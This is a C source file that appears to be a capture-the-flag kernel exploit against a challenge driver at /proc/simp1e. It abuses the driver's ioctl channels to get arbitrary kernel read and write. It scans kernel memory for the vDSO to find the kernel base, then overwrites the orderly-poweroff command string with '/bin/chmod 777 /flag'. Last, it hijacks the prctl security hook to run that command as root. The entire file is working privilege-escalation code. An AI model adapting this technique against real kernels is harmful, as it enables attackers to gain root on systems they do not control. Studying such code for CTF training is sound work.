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| #include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE + 1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE + 2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE + 3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE + 4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE + 5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE + 6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE + 7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE + 8
struct alloc_channel_args
{
size_t buf_size;
int id;
};
struct open_channel_args
{
int id;
};
struct shrink_channel_args
{
int id;
size_t size;
};
struct read_channel_args
{
int id;
char *buf;
size_t count;
};
struct write_channel_args
{
int id;
char *buf;
size_t count;
};
struct seek_channel_args
{
int id;
long int index;
int whence;
};
struct close_channel_args
{
int id;
};
void print_hex(char *buf, size_t len)
{
int i;
for (i = 0; i < ((len / 8) * 8); i += 8)
{
printf("0x%lx", *(size_t *)(buf + i));
if (i % 16)
printf(" ");
else
printf("\n");
}
}
void show_vdso_userspace(int len)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return;
}
for (int i = len; i < 0x1000; i++)
{
printf("%x ", *(char *)(addr + i));
}
}
int check_vsdo_shellcode(char *shellcode)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
printf("vdso:%lx\n", addr);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return 0;
}
if (memmem((char *)addr, 0x1000, shellcode, strlen(shellcode)))
{
return 1;
}
return 0;
}
int get_gettimeofday_str_offset()
{
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char *name = "gettimeofday";
if (!vdso_addr)
{
printf("[-]error get name's offset");
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0)
{
printf("[-]error get name's offset");
}
return name_addr - vdso_addr;
}
int main()
{
int fd = -1;
size_t result = 0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr = 0xffffffff80000000;
size_t real_cred = 0;
size_t cred = 0;
size_t target_addr;
size_t kernel_base = 0;
size_t selinux_disable_addr = 0x2C7BA0;
size_t prctl_hook = 0x124FD00;
size_t order_cmd = 0x123D1E0;
size_t poweroff_work_func_addr = 0x9C4C0;
int root_cred[12];
int offset;
offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n", offset);
setvbuf(stdout, 0LL, 2, 0LL);
char *buf = malloc(0x1000);
char target[16];
strcpy(target, "trytofind196082");
fd = open("/proc/simp1e", O_RDWR);
if (fd < 0)
{
puts("[-] open error");
exit(-1);
}
alloc_args.buf_size = 0x100;
alloc_args.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_args);
if (alloc_args.id == -1)
{
puts("[-] alloc_channel error");
exit(-1);
}
printf("[+] now we get a channel %d\n", alloc_args.id);
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_args);
puts("[+] we can read and write any momery");
for (; addr < 0xffffffffffffefff; addr += 0x1000)
{
seek_args.id = alloc_args.id;
seek_args.index = addr - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
read_args.id = alloc_args.id;
read_args.buf = buf;
read_args.count = 0x1000;
ioctl(fd, CSAW_READ_CHANNEL, &read_args);
if ((!strcmp("gettimeofday", buf + offset)))
{
result = addr;
printf("[+] found vdso %lx\n", result);
break;
}
}
if (result == 0)
{
puts("not found , try again ");
exit(-1);
}
kernel_base = addr - 0x1020000;
prctl_hook += kernel_base;
order_cmd += kernel_base;
poweroff_work_func_addr += kernel_base;
printf("[+] found kernel base: %lx\n", kernel_base);
printf("[+] found prctl_hook: %lx\n", prctl_hook);
printf("[+] found order_cmd : %lx\n", order_cmd);
printf("[+] found poweroff_work_func_addr: %lx\n", poweroff_work_func_addr);
ioctl(fd, CSAW_CLOSE_CHANNEL, &close_args);
memset(buf, '\0', 0x1000);
strcpy(buf, "/bin/chmod 777 /flag\0");
seek_args.id = alloc_args.id;
seek_args.index = order_cmd - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = strlen(buf) + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
seek_args.id = alloc_args.id;
seek_args.index = order_cmd + 20 - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
*(size_t *)buf = poweroff_work_func_addr;
seek_args.id = alloc_args.id;
seek_args.index = prctl_hook - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 20 + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
prctl(addr, 2, addr, addr, 2);
return 0;
}
|
